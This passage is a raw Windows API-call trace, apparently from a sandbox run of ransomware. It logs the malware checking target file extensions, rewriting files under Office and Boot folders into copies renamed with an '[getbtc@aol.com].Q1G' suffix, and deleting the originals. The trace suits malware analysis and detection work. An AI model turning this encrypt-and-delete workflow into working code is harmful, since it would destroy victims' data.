nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.976] SetEndOfFile (hFile=0x3a8) returned 1 [0265.977] CloseHandle (hObject=0x3a8) returned 1 [0265.977] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.977] SetEndOfFile (hFile=0x1b8) returned 1 [0265.979] CloseHandle (hObject=0x1b8) returned 1 [0265.979] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.979] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf")) returned 1 [0265.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF") returned 63 [0265.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF") returned 63 [0265.980] lstrlenW (lpString=".doc") returned 4 [0265.980] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.980] lstrlenW (lpString=".docx") returned 5 [0265.980] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0265.980] lstrlenW (lpString=".pdf") returned 4 [0265.980] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.980] lstrlenW (lpString=".xls") returned 4 [0265.980] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.980] lstrlenW (lpString=".xlsx") returned 5 [0265.980] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0265.980] lstrlenW (lpString=".ppt") returned 4 [0265.980] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF") returned 63 [0265.980] lstrlenW (lpString=".zip") returned 4 [0265.980] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.981] lstrlenW (lpString=".rar") returned 4 [0265.981] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.981] lstrlenW (lpString=".bz2") returned 4 [0265.981] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.981] lstrlenW (lpString=".7z") returned 3 [0265.981] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF") returned 63 [0265.981] lstrlenW (lpString=".dbf") returned 4 [0265.981] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF") returned 63 [0265.981] lstrlenW (lpString=".1cd") returned 4 [0265.981] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF") returned 63 [0265.981] lstrlenW (lpString=".jpg") returned 4 [0265.981] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF") returned 63 [0265.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF") returned 63 [0265.981] lstrlenW (lpString=".doc") returned 4 [0265.981] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.981] lstrlenW (lpString=".docx") returned 5 [0265.981] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0265.981] lstrlenW (lpString=".pdf") returned 4 [0265.981] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.981] lstrlenW (lpString=".xls") returned 4 [0265.981] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.981] lstrlenW (lpString=".xlsx") returned 5 [0265.981] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0265.981] lstrlenW (lpString=".ppt") returned 4 [0265.981] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF") returned 63 [0265.981] lstrlenW (lpString=".zip") returned 4 [0265.981] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.981] lstrlenW (lpString=".rar") returned 4 [0265.981] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.981] lstrlenW (lpString=".bz2") returned 4 [0265.981] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.982] lstrlenW (lpString=".7z") returned 3 [0265.982] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF") returned 63 [0265.982] lstrlenW (lpString=".dbf") returned 4 [0265.982] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF") returned 63 [0265.982] lstrlenW (lpString=".1cd") returned 4 [0265.982] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF") returned 63 [0265.982] lstrlenW (lpString=".jpg") returned 4 [0265.982] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.982] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.982] lstrlenW (lpString="J0198234.WMF") returned 12 [0265.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0265.983] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=42654) returned 1 [0265.983] CloseHandle (hObject=0x1b8) returned 1 [0265.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf")) returned 0x20 [0265.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0265.983] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.983] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0265.984] GetLastError () returned 0x0 [0265.984] ReadFile (in: hFile=0x1b8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0xa69e, lpOverlapped=0x0) returned 1 [0266.064] WriteFile (in: hFile=0x3a8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xa6a0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xa6a0, lpOverlapped=0x0) returned 1 [0266.065] ReadFile (in: hFile=0x1b8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0266.065] WriteFile (in: hFile=0x3a8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.065] SetEndOfFile (hFile=0x3a8) returned 1 [0266.066] CloseHandle (hObject=0x3a8) returned 1 [0266.066] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.066] SetEndOfFile (hFile=0x1b8) returned 1 [0266.068] CloseHandle (hObject=0x1b8) returned 1 [0266.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) Thread: id = 75 os_tid = 0x62c [0235.776] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10000) returned 0x614fd8 [0235.776] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10000) returned 0x3a00048 [0235.777] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x5814b0 [0235.777] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6) returned 0x57f028 [0235.777] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x5814c8 [0235.777] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x100000) returned 0x3b90020 [0235.777] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x5814e0 [0235.777] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5814e0, Size=0x20) returned 0x614630 [0235.777] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x5814e0 [0235.777] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5814e0, Size=0x20) returned 0x614658 [0235.777] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c10000 [0235.777] GetProcAddress (hModule=0x76c10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c3d650 [0235.777] Wow64DisableWow64FsRedirection (in: OldValue=0x305ff58 | out: OldValue=0x305ff58*=0x0) returned 1 [0235.777] lstrlenW (lpString="kernel32.dll") returned 12 [0235.777] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x614630 | out: hHeap=0x530000) returned 1 [0235.777] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0235.777] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x614658 | out: hHeap=0x530000) returned 1 [0235.778] Sleep (dwMilliseconds=0x64) [0235.986] lstrlenW (lpString="BCD") returned 3 [0235.986] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.060] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0236.060] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0236.060] lstrlenW (lpString=".doc") returned 4 [0236.060] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0236.060] lstrlenW (lpString=".docx") returned 5 [0236.060] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0236.060] lstrlenW (lpString=".pdf") returned 4 [0236.060] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0236.060] lstrlenW (lpString=".xls") returned 4 [0236.060] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0236.060] lstrlenW (lpString=".xlsx") returned 5 [0236.060] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0236.060] lstrlenW (lpString=".ppt") returned 4 [0236.060] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0236.060] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0236.060] lstrlenW (lpString=".zip") returned 4 [0236.060] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0236.060] lstrlenW (lpString=".rar") returned 4 [0236.060] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0236.060] lstrlenW (lpString=".bz2") returned 4 [0236.060] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0236.060] lstrlenW (lpString=".7z") returned 3 [0236.060] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0236.060] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0236.060] lstrlenW (lpString=".dbf") returned 4 [0236.060] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0236.060] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0236.060] lstrlenW (lpString=".1cd") returned 4 [0236.060] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0236.060] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0236.060] lstrlenW (lpString=".jpg") returned 4 [0236.060] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0236.061] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0236.061] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0236.061] lstrlenW (lpString=".doc") returned 4 [0236.061] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0236.061] lstrlenW (lpString=".docx") returned 5 [0236.061] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0236.061] lstrlenW (lpString=".pdf") returned 4 [0236.061] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0236.061] lstrlenW (lpString=".xls") returned 4 [0236.061] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0236.061] lstrlenW (lpString=".xlsx") returned 5 [0236.061] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0236.061] lstrlenW (lpString=".ppt") returned 4 [0236.061] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0236.061] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0236.061] lstrlenW (lpString=".zip") returned 4 [0236.061] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0236.061] lstrlenW (lpString=".rar") returned 4 [0236.061] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0236.061] lstrlenW (lpString=".bz2") returned 4 [0236.061] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0236.061] lstrlenW (lpString=".7z") returned 3 [0236.061] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0236.061] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0236.061] lstrlenW (lpString=".dbf") returned 4 [0236.061] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0236.061] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0236.061] lstrlenW (lpString=".1cd") returned 4 [0236.061] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0236.062] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0236.062] lstrlenW (lpString=".jpg") returned 4 [0236.062] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0236.062] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0236.062] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0236.062] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0236.062] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=87616) returned 1 [0236.062] CloseHandle (hObject=0x220) returned 1 [0236.062] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0236.062] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.062] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.062] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0236.062] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0236.062] lstrlenW (lpString=".doc") returned 4 [0236.062] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0236.063] lstrlenW (lpString=".docx") returned 5 [0236.063] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0236.063] lstrlenW (lpString=".pdf") returned 4 [0236.063] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.063] lstrlenW (lpString=".xls") returned 4 [0236.063] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0236.063] lstrlenW (lpString=".xlsx") returned 5 [0236.063] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0236.063] lstrlenW (lpString=".ppt") returned 4 [0236.063] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.063] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0236.063] lstrlenW (lpString=".zip") returned 4 [0236.063] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0236.063] lstrlenW (lpString=".rar") returned 4 [0236.063] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.063] lstrlenW (lpString=".bz2") returned 4 [0236.063] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0236.063] lstrlenW (lpString=".7z") returned 3 [0236.063] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0236.063] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0236.063] lstrlenW (lpString=".dbf") returned 4 [0236.063] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0236.063] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0236.063] lstrlenW (lpString=".1cd") returned 4 [0236.063] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0236.063] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0236.063] lstrlenW (lpString=".jpg") returned 4 [0236.063] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0236.063] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0236.063] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0236.063] lstrlenW (lpString=".doc") returned 4 [0236.063] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0236.063] lstrlenW (lpString=".docx") returned 5 [0236.063] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0236.063] lstrlenW (lpString=".pdf") returned 4 [0236.064] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.064] lstrlenW (lpString=".xls") returned 4 [0236.064] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0236.064] lstrlenW (lpString=".xlsx") returned 5 [0236.064] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0236.064] lstrlenW (lpString=".ppt") returned 4 [0236.064] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.064] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0236.064] lstrlenW (lpString=".zip") returned 4 [0236.064] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0236.064] lstrlenW (lpString=".rar") returned 4 [0236.064] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.064] lstrlenW (lpString=".bz2") returned 4 [0236.064] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0236.064] lstrlenW (lpString=".7z") returned 3 [0236.064] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0236.064] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0236.064] lstrlenW (lpString=".dbf") returned 4 [0236.064] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0236.064] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0236.064] lstrlenW (lpString=".1cd") returned 4 [0236.064] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0236.064] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0236.064] lstrlenW (lpString=".jpg") returned 4 [0236.064] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0236.064] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0236.064] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0236.064] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0236.065] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=91712) returned 1 [0236.065] CloseHandle (hObject=0x220) returned 1 [0236.066] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0236.066] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.066] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.066] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0236.066] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0236.066] lstrlenW (lpString=".doc") returned 4 [0236.066] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0236.066] lstrlenW (lpString=".docx") returned 5 [0236.066] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0236.066] lstrlenW (lpString=".pdf") returned 4 [0236.066] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.066] lstrlenW (lpString=".xls") returned 4 [0236.066] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0236.066] lstrlenW (lpString=".xlsx") returned 5 [0236.066] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0236.067] lstrlenW (lpString=".ppt") returned 4 [0236.067] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.067] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0236.067] lstrlenW (lpString=".zip") returned 4 [0236.067] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0236.067] lstrlenW (lpString=".rar") returned 4 [0236.067] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.067] lstrlenW (lpString=".bz2") returned 4 [0236.067] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0236.067] lstrlenW (lpString=".7z") returned 3 [0236.067] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0236.067] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0236.067] lstrlenW (lpString=".dbf") returned 4 [0236.067] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0236.067] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0236.067] lstrlenW (lpString=".1cd") returned 4 [0236.067] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0236.067] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0236.067] lstrlenW (lpString=".jpg") returned 4 [0236.067] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0236.067] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0236.067] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0236.067] lstrlenW (lpString=".doc") returned 4 [0236.067] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0236.067] lstrlenW (lpString=".docx") returned 5 [0236.067] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0236.067] lstrlenW (lpString=".pdf") returned 4 [0236.067] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.067] lstrlenW (lpString=".xls") returned 4 [0236.067] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0236.067] lstrlenW (lpString=".xlsx") returned 5 [0236.067] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0236.067] lstrlenW (lpString=".ppt") returned 4 [0236.067] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.067] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0236.068] lstrlenW (lpString=".zip") returned 4 [0236.068] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0236.068] lstrlenW (lpString=".rar") returned 4 [0236.068] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.068] lstrlenW (lpString=".bz2") returned 4 [0236.068] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0236.068] lstrlenW (lpString=".7z") returned 3 [0236.068] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0236.068] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0236.068] lstrlenW (lpString=".dbf") returned 4 [0236.068] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0236.068] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0236.068] lstrlenW (lpString=".1cd") returned 4 [0236.068] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0236.068] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0236.068] lstrlenW (lpString=".jpg") returned 4 [0236.068] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0236.068] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0236.068] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0236.068] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0236.068] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=94800) returned 1 [0236.068] CloseHandle (hObject=0x220) returned 1 [0236.068] GetFileAttributesW 